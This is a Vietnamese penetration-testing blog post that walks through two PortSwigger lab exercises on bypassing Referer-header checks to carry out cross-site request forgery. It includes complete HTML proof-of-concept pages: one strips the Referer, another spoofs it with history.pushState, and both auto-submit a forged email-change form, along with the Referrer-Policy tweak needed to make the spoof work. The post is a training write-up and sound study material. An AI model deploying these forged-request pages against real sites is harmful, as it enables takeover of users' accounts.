NỘI DUNG
Như đã đề cập cuối nội dung Penetration Testing Step 3 – CSRF attack – Hồi thứ hai, kỳ này tôi sẽ dứt điểm câu chuyện với Cross-site Request Forgery – CSRF attack.
Trong các kịch bản đề cập trong kỳ này, ngoài kiểu chống CSRF attack với CSRF token như đã giới thiệu trước đó, ứng dụng sẽ có thể sử dụng HTTP Referer header. Với phương án này, ứng dụng sẽ xác nhận xem request có xuất phát từ domain tương ứng hay không nên nhìn chung sẽ kém hiệu quả hơn. Cụ thể, các kịch bản còn lại sẽ bao gồm:
- Quá trình xác minh tùy thuộc vào sự có mặt của Referer header;
- Mục tiêu mắc sai lầm trong quá trình Referer validation.
Lưu ý:
- Tôi vẫn không rõ mấy đại ca viết HTTP specification có cố tình viết sai chính tả từ Referer (thay vì Referrer) hay không nhưng thôi kệ, có sao dùng vậy. Referer header là optional request header (tức là không có cũng không sao) chứa URL của web page liên kết đến cái tài nguyên mà request đang yêu cầu. Thông thường, đám browser sẽ tự động dí cái Referer header vô khi user kích hoạt request (ví dụ click vô link). Tuy nhiên, đôi khi vì lí do riêng tư gì đó, thiên hạ cũng có thể tiến hành các phương án chen chắn thông tin liên quan đến cái web page được liên kết hay hiệu chỉnh cái Referer header ;
- Như mọi khi, tôi cũng sẽ tận dụng các bài Lab dựng sẵn của ông PortSwigger để tiết kiệm thời gian dàn cảnh;
- Thông tin liên quan đến Burp Suite bạn có thể xem trong nội dung Penetration Testing Step 3 – 6 điều bạn nên biết trước khi xài tool khủng Burp Suite;
- Chi tiết việc sử dụng Burp Suite Repeater bạn có thể xem trong nội dung Penetration Testing Step 3 – Thủ thuật chọc ngoáy HTTP/WebSockets message với Burp Suite Repeater;
#1. CSRF attack với tình huống mục tiêu tiến hành việc xác minh tùy thuộc vào sự có mặt của Referer header
Tình huống này tương tự như nội dung CSRF attack trong tình huống mục tiêu xác minh CSRF token dựa vào sự có mặt của token (đề cập trong Penetration Testing Step 3 – CSRF attack – Hồi thứ nhất). Tức là nếu có Referer header thì tiến hành xác minh, còn không có thì thôi …nghỉ khỏe?!
Vẫn như cũ, tôi bật Burp Suite Interception và đăng nhập vào ứng dụng với account chính chủ wiener:peter và sử dụng chức năng Update email.
Sau đó tôi cũng hốt cái request tương ứng đẩy qua Burp Suite Repeater.
Tại đây, nếu táy máy theo đổi cái Referer header (thêm chữ “test” như bên dưới) thì tôi sẽ ăn lỗi “Invalid referer header” trong response.
Tuy nhiên, nếu tôi mạnh dạn cắt phéng cái Referer header đi thì mọi chuyện lại êm đẹp với response status 302 trả về như bên dưới.
Tương tự như nội dung Penetration Testing Step 3 – Nhập môn Cross-site Request Forgery – CSRF attack, tôi có thể triển khai CSRF attack với Generate CSRF PoC nếu dùng Burp Suite Professional. Hoặc làm thủ công với Burp Suite Community Edition theo cái template kiểu như sau (có khác ở chỗ cái meta tag để báo cáo về việc tôi sẽ xén cái referrer đi với content=”no-referrer”):
<meta name="referrer" content="no-referrer">
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<head>
<meta name="referrer" content="no-referrer">
<head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac7c1f451e4b106fc0ec0f0a00ff0020.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test2-wiener@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Tất nhiên sau đó tôi cũng đẩy đám này vô Body section của Exploit server rồi chọn Store and View exploit để kiểm tra kết quả (phần này tôi nhai đi nhai lại nhiều lần quá rồi nên xin phép không đề cập lại nữa cho đỡ nhàm).
#2. CSRF attack khi mục tiêu mắc sai lầm trong quá trình Referer validation
Trong kịch bản này, mục tiêu có khá hơn khi cố gắng xử lý tình huống attacker cắt gọn cái Referer header. Tuy nhiên, đâu đó trong quá trình xử lý vẫn còn đường “ăn”.
Tôi lại đăng nhập vào ứng dụng với credentials wiener:peter rồi chạy chức năng Update email để hốt cái request tương ứng đẩy qua Burp Suite Repeater.
Tất nhiên, nếu lại táy máy theo đổi cái Referer header (thêm chữ “fake-” như bên dưới) thì tôi sẽ lại ăn lỗi “Invalid referer header” trong response (và nếu giở trò cắt xén cái referer header tôi cũng sẽ ăn lỗi).
Mọi chuyện có vẻ chuẩn cmn mực cho đến khi tôi dí vô request cái Referer header đã được mông má như bên dưới.
Referer: https://fake-domain.net?acd61fa91e7c10e5c02313c800a400b1.web-security-academy.net
Đúng là làm chơi ăn thật. Hóa ra mục tiêu chỉ kiểm soát Referer header theo kiểu miễn sao đâu đó trong Referer header có chứa cái domain đã quy định (acd61fa91e7c10e5c02313c800a400b1.web-security-academy.net như trường hợp của tôi) ” là được. Việc tôi có “thêm mắm dặm muối” vô cái Referer header (ví dụ như cái fake-domain.net ở trên) thì ứng dụng nó cũng không buồn quan tâm.
Với sự thật kinh hoàng này, tôi có thể sáng tác thêm một đoạn JavaScript để cái third argument (tạm dịch là tham số thứ 3) của cái history.pushState() function nhận cái query string với cái Lab instance URL của tôi (acd61fa91e7c10e5c02313c800a400b1.web-security-academy.net trong trường hợp này) theo kiểu như sau:
history.pushState("", "", "/?acd61fa91e7c10e5c02313c800a400b1.web-security-academy.net")
Mục địch của việc này là để các request được sinh ra (với CSRF PoC generator) sẽ tự động được dí cái query string với Lab instance URL vô Referer header như đề cập ở trên.
Nội dung liên quan đến cái third argument URL được đề cập như sau:
“… The new history entry’s URL. Note that the browser won’t attempt to load this URL after a call to pushState(), but it may attempt to load the URL later, for instance, after the user restarts the browser. The new URL does not need to be absolute; if it’s relative, it’s resolved relative to the current URL. The new URL must be of the same origin as the current URL; otherwise, pushState() will throw an exception. If this parameter isn’t specified, it’s set to the document’s current URL…”
Ở đây, hình dùng đại khái là cái URL sẽ được lưu lại và load sau. Nếu muốn xem kỹ hơn, bạn có thể bơi vào trang History.pushState() – Web APIs | MDN (mozilla.org).
Và tất nhiên, bạn cũng có thể làm thủ công theo cái template sau đây.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState("", "", "/?acd61fa91e7c10e5c02313c800a400b1.web-security-academy.net")</script>
<form action="https://acd61fa91e7c10e5c02313c800a400b1.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test2-wiener@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Tôi cũng sẽ đẩy đống này vô Body section của Exploit server và Store.
Ở đây có một điểm cần lưu ý là nếu chọn View exploit tôi sẽ có thể gặp thông báo lỗi “invalid Referer header” do một số browser sẽ triển khai giải pháp bảo mật và tự động cắt cái query string ra khỏi Referer header. Để bảo đảm hàng họ không bị cắt xén, tôi cần cập nhật thêm nội dung Referrer-Policy: unsafe-url vô Head section của Exploit server kiểu như sau.
Sau khi Store thì mọi chuyện sẽ lại êm đẹp để tôi có thể chạy View exploit và thưởng thức kết quả.
Đến đây tôi cũng xin kết thúc câu chuyện về CSRF attack. Hẹn gặp lại bạn với một chủ đề mới trong các kỳ tiếp theo.